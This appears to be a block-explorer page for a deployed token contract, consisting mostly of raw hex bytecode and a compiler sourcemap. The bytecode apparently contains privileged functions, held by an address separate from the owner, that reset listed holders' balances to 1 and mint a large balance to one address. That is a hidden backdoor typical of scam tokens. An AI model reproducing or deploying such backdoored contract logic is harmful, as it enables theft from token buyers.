f7366004610d44565b6001600160a01b03165f9081526003602052604090205490565b34801561021c575f5ffd5b506101ab610746565b348015610230575f5ffd5b505f546040516001600160a01b03909116815260200161011e565b348015610256575f5ffd5b506101ab610265366004610d5f565b6107a3565b348015610275575f5ffd5b50610111610884565b348015610289575f5ffd5b506101ab610298366004610d44565b610893565b3480156102a8575f5ffd5b506101466102b7366004610cdc565b610959565b3480156102c7575f5ffd5b5061016a6102d6366004610dd0565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b34801561030b575f5ffd5b506101ab61031a366004610d44565b610965565b60606001805461032e90610e07565b80601f016020809104026020016040519081016040528092919081815260200182805461035a90610e07565b80156103a55780601f1061037c576101008083540402835291602001916103a5565b820191905f5260205f20905b81548152906001019060200180831161038857829003601f168201915b5050505050905090565b5f6103bb3384846109e5565b5060015b92915050565b5f6103d26009600a610f36565b6103e090633b9aca00610f44565b905090565b5f6103f1848484610b09565b6001600160a01b0384165f9081526004602090815260408083203380855292529091205461042a9186916104259086610bd0565b6109e5565b5060019392505050565b5f546001600160a01b03163314610449575f5ffd5b600754600160a01b900460ff16156104a85760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600680546001600160a01b03191673a6ad18c2ac47803e193f75c3677b14bf19b948839081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561050a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061052e9190610f5b565b6001600160a01b031663c9c653963060065f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561058d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b19190610f5b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105fb573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061f9190610f5b565b600780546001600160a01b0319166001600160a01b0392831617905560065461065f913091166106516009600a610f36565b61042590633b9aca00610f44565b6006546001600160a01b031663f305d7194730610690816001600160a01b03165f9081526003602052604090205490565b5f5f6106a35f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610709573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610f76565b50506007805460ff60a01b1916600160a01b17905550565b5f546001600160a01b0316331461075b575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6005546001600160a01b031633146107b9575f5ffd5b5f5b8181101561087f57600160035f8585858181106107da576107da610fa1565b90506020020160208101906107ef9190610d44565b6001600160a01b0316815260208101919091526040015f9081209190915583838381811061081f5761081f610fa1565b90506020020160208101906108349190610d44565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160405161086f91815260200190565b60405180910390a36001016107bb565b505050565b60606002805461032e90610e07565b6005546001600160a01b031633146108a9575f5ffd5b6108b56009600a610f36565b6108c16009600a610f36565b6108cf90633b9aca00610f44565b6108d99190610f44565b6001600160a01b0382165f818152600360205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6109216009600a610f36565b61092d6009600a610f36565b61093b90633b9aca00610f44565b6109459190610f44565b60405190815260200160405180910390a350565b5f6103bb338484610b09565b5f546001600160a01b0316331461097a575f5ffd5b6001600160a01b03811661098c575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a475760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161049f565b6001600160a01b038216610aa85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161049f565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b1b575f5ffd5b6001600160a01b038216610b2d575f5ffd5b6001600160a01b0383165f90815260036020526040902054610b4f9082610bd0565b6001600160a01b038085165f908152600360205260408082209390935590841681522054610b7d9082610c32565b6001600160a01b038084165f8181526003602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610afc9085815260200190565b5f82821115610c215760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015260640161049f565b610c2b8284610fb5565b9392505050565b5f80610c3e8385610fc8565b905083811015610c2b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161049f565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610cd9575f5ffd5b50565b5f5f60408385031215610ced575f5ffd5b8235610cf881610cc5565b946020939093013593505050565b5f5f5f60608486031215610d18575f5ffd5b8335610d2381610cc5565b92506020840135610d3381610cc5565b929592945050506040919091013590565b5f60208284031215610d54575f5ffd5b8135610c2b81610cc5565b5f5f60208385031215610d70575f5ffd5b823567ffffffffffffffff811115610d86575f5ffd5b8301601f81018513610d96575f5ffd5b803567ffffffffffffffff811115610dac575f5ffd5b8560208260051b8401011115610dc0575f5ffd5b6020919091019590945092505050565b5f5f60408385031215610de1575f5ffd5b8235610dec81610cc5565b91506020830135610dfc81610cc5565b809150509250929050565b600181811c90821680610e1b57607f821691505b602082108103610e3957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610e8e57808504811115610e7257610e72610e3f565b6001841615610e8057908102905b60019390931c928002610e57565b935093915050565b5f82610ea4575060016103bf565b81610eb057505f6103bf565b8160018114610ec65760028114610ed057610eec565b60019150506103bf565b60ff841115610ee157610ee1610e3f565b50506001821b6103bf565b5060208310610133831016604e8410600b8410161715610f0f575081810a6103bf565b610f1b5f198484610e53565b805f1904821115610f2e57610f2e610e3f565b029392505050565b5f610c2b60ff841683610e96565b80820281158282048414176103bf576103bf610e3f565b5f60208284031215610f6b575f5ffd5b8151610c2b81610cc5565b5f5f5f60608486031215610f88575f5ffd5b5050815160208301516040909301519094929350919050565b634e487b7160e01b5f52603260045260245ffd5b818103818111156103bf576103bf610e3f565b808201808211156103bf576103bf610e3f56fea26469706673582212201ff61b62c71200609243bfe4a97856d1ea70a8400937bcd62b4f23f5ee988b0f64736f6c634300081c003389a32e1c29e646fad701d1c8d0dc9b6560d3e6bc99404f2032db0696952b812d212e56424155ad6c0388f4d24c757a597ed2c40f2f3c6da95b15e3a62db87ec3ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efc939d25d7e35437f22c47f324a2c10f39b73290093ac9388ba079edf58f1ddaaa2646970667358221220244064cc9173804e1bd0d2e279c2376eb331b3d5c7f2d807129ab3447ee7abc064736f6c634300081c0033
Deployed Bytecode Sourcemap
9146:1371:0:-:0;;;;;;;;;;;;;;;;;;;;;9371:1141;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;;9465:16;9607:19;9641:5;:12;9629:9;:24;;;;:::i;:::-;9607:46;;9685:11;9672:9;:24;9664:55;;;;-1:-1:-1;;;9664:55:0;;3629:2:1;9664:55:0;;;3611:21:1;3668:2;3648:18;;;3641:30;-1:-1:-1;;;3687:18:1;;;3680:48;3745:18;;9664:55:0;;;;;;;;9788:31;9836:5;:12;9822:27;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9822:27:0;-1:-1:-1;9788:61:0;-1:-1:-1;9939:9:0;9934:328;9958:5;:12;9954:1;:16;9934:328;;;10038:26;10108:5;:12;10096:9;:24;;;;:::i;:::-;10122:5;10128:1;10122:8;;;;;;;;:::i;:::-;;;;;;;10132:7;10140:1;10132:10;;;;;;;;:::i;:::-;;;;;;;10067:76;;;;;:::i;:::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;10038:105;;10239:8;10211:14;10226:1;10211:17;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10211:37:0;;;:17;;;;;;;;;;;:37;-1:-1:-1;9972:3:0;;9934:328;;;;10368:45;10382:14;10398:5;10405:7;10368:45;;;;;;;;:::i;:::-;;;;;;;;10490:14;-1:-1:-1;;9371:1141:0;;;;;:::o;-1:-1:-1:-;;;;;;;;:::o;14:127:1:-;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:275;217:2;211:9;282:2;263:13;;-1:-1:-1;;259:27:1;247:40;;317:18;302:34;;338:22;;;299:62;296:88;;;364:18;;:::i;:::-;400:2;393:22;146:275;;-1:-1:-1;146:275:1:o;426:1396::-;479:5;532:3;525:4;517:6;513:17;509:27;499:55;;550:1;547;540:12;499:55;590:6;577:20;620:18;612:6;609:30;606:56;;;642:18;;:::i;:::-;688:6;685:1;681:14;715:30;739:4;735:2;731:13;715:30;:::i;:::-;781:19;;;825:4;857:15;;;853:26;;;816:14;;;;891:15;;;888:35;;;919:1;916;909:12;888:35;955:4;947:6;943:17;932:28;;969:822;985:6;980:3;977:15;969:822;;;1073:3;1060:17;1109:18;1096:11;1093:35;1090:55;;;1141:1;1138;1131:12;1090:55;1168:24;;1227:2;1219:11;;1215:21;-1:-1:-1;1205:49:1;;1250:1;1247;1240:12;1205:49;1304:4;1300:2;1296:13;1283:27;1339:18;1329:8;1326:32;1323:58;;;1361:18;;:::i;:::-;1409:61;1458:2;1433:19;;-1:-1:-1;;1429:33:1;1464:4;1425:44;1409:61;:::i;:::-;1483:25;;;1527:39;1535:17;;;1527:39;1524:48;-1:-1:-1;1521:68:1;;;1585:1;1582;1575:12;1521:68;1648:8;1643:2;1639;1635:11;1628:4;1619:7;1615:18;1602:55;1712:1;1705:4;1694:8;1685:7;1681:22;1677:33;1670:44;1739:7;1734:3;1727:20;;;;1776:4;1771:3;1767:14;1760:21;;1011:4;1006:3;1002:14;995:21;;969:822;;;1809:7;426:1396;-1:-1:-1;;;;;;426:1396:1:o;1827:608::-;1965:6;1973;2026:2;2014:9;2005:7;2001:23;1997:32;1994:52;;;2042:1;2039;2032:12;1994:52;2082:9;2069:23;2115:18;2107:6;2104:30;2101:50;;;2147:1;2144;2137:12;2101:50;2170:60;2222:7;2213:6;2202:9;2198:22;2170:60;:::i;:::-;2160:70;;;2283:2;2272:9;2268:18;2255:32;2312:18;2302:8;2299:32;2296:52;;;2344:1;2341;2334:12;2296:52;2367:62;2421:7;2410:8;2399:9;2395:24;2367:62;:::i;:::-;2357:72;;;1827:608;;;;;:::o;2440:446::-;2493:3;2531:5;2525:12;2558:6;2553:3;2546:19;2590:4;2585:3;2581:14;2574:21;;2629:4;2622:5;2618:16;2652:1;2662:199;2676:6;2673:1;2670:13;2662:199;;;2741:13;;-1:-1:-1;;;;;2737:39:1;2725:52;;2806:4;2797:14;;;;2834:17;;;;2773:1;2691:9;2662:199;;;-1:-1:-1;2877:3:1;;2440:446;-1:-1:-1;;;;2440:446:1:o;2891:261::-;3070:2;3059:9;3052:21;3033:4;3090:56;3142:2;3131:9;3127:18;3119:6;3090:56;:::i;:::-;3082:64;2891:261;-1:-1:-1;;;2891:261:1:o;3157:265::-;3230:9;;;3261;;3278:15;;;3272:22;;3258:37;3248:168;;3338:10;3333:3;3329:20;3326:1;3319:31;3373:4;3370:1;3363:15;3401:4;3398:1;3391:15;3774:217;3814:1;3840;3830:132;;3884:10;3879:3;3875:20;3872:1;3865:31;3919:4;3916:1;3909:15;3947:4;3944:1;3937:15;3830:132;-1:-1:-1;3976:9:1;;3774:217::o;3996:127::-;4057:10;4052:3;4048:20;4045:1;4038:31;4088:4;4085:1;4078:15;4112:4;4109:1;4102:15;4128:289;4170:3;4208:5;4202:12;4235:6;4230:3;4223:19;4291:6;4284:4;4277:5;4273:16;4266:4;4261:3;4257:14;4251:47;4343:1;4336:4;4327:6;4322:3;4318:16;4314:27;4307:38;4406:4;4399:2;4395:7;4390:2;4382:6;4378:15;4374:29;4369:3;4365:39;4361:50;4354:57;;;4128:289;;;;:::o;4422:383::-;4619:2;4608:9;4601:21;4582:4;4645:45;4686:2;4675:9;4671:18;4663:6;4645:45;:::i;:::-;4738:9;4730:6;4726:22;4721:2;4710:9;4706:18;4699:50;4766:33;4792:6;4784;4766:33;:::i;:::-;4758:41;4422:383;-1:-1:-1;;;;;4422:383:1:o;4810:579::-;4862:3;4893;4925:5;4919:12;4952:6;4947:3;4940:19;4984:4;4979:3;4975:14;4968:21;;5042:4;5032:6;5029:1;5025:14;5018:5;5014:26;5010:37;5081:4;5074:5;5070:16;5104:1;5114:249;5128:6;5125:1;5122:13;5114:249;;;5215:2;5211:7;5203:5;5197:4;5193:16;5189:30;5184:3;5177:43;5241:38;5274:4;5265:6;5259:13;5241:38;:::i;:::-;5314:4;5339:14;;;;5233:46;;-1:-1:-1;5302:17:1;;;;;5150:1;5143:9;5114:249;;;-1:-1:-1;5379:4:1;;4810:579;-1:-1:-1;;;;;;4810:579:1:o;5394:707::-;5769:2;5758:9;5751:21;5732:4;5795:56;5847:2;5836:9;5832:18;5824:6;5795:56;:::i;:::-;5899:9;5891:6;5887:22;5882:2;5871:9;5867:18;5860:50;5933:43;5969:6;5961;5933:43;:::i;:::-;5919:57;;6024:9;6016:6;6012:22;6007:2;5996:9;5992:18;5985:50;6052:43;6088:6;6080;6052:43;:::i
Swarm Source
ipfs://244064cc9173804e1bd0d2e279c2376eb331b3d5c7f2d807129ab3447ee7abc0
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.